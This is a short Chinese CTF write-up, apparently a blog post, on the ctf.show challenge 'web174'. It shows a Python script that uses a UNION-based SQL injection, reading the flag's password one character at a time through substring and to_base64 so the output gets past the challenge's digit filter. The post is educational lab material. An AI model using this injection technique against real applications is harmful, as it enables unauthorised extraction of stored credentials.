emmm又是好久没更新了...之后就在这里做个记录吧，有些新的思路可以做些分享
web174
看了一下，应该是有数字或者username=flag就不输出，主要是这个数字的限制有点烦，flag里面肯定是有数字的...
网上的wp很多用的布尔盲注，不过我当时还是想直接注出来，还是有办法的。
参考前面几道题，可以使用to_base64函数，对于一个字符而言，不管是数字还是字母，base64都是没有数字的。
所以，考虑一个一个注出来，利用substring函数依次截取单个字符，然后base64编码输出，再解码即可，python脚本如下：
import requests
import base64
url='http://fc485c2d-58c4-458f-ab35-8339b32a70a5.challenge.ctf.show/api/v4.php'
result=''
for i in range(1,100):
param= {'id':'100' union select 'k',to_base64(substring(password,'+str(i)+',1)) from ctfshow_user4 where username = 'flag'-- '}
r=requests.get(url=url,params=param)
result+=str(base64.b64decode(r.json()['data'][0]['password']),encoding = "utf-8")
print(result)
注意，返回的是json数据，这里需要做处理才能抓到password字段，可以自行实践一下找到写法。
脚本输出flag
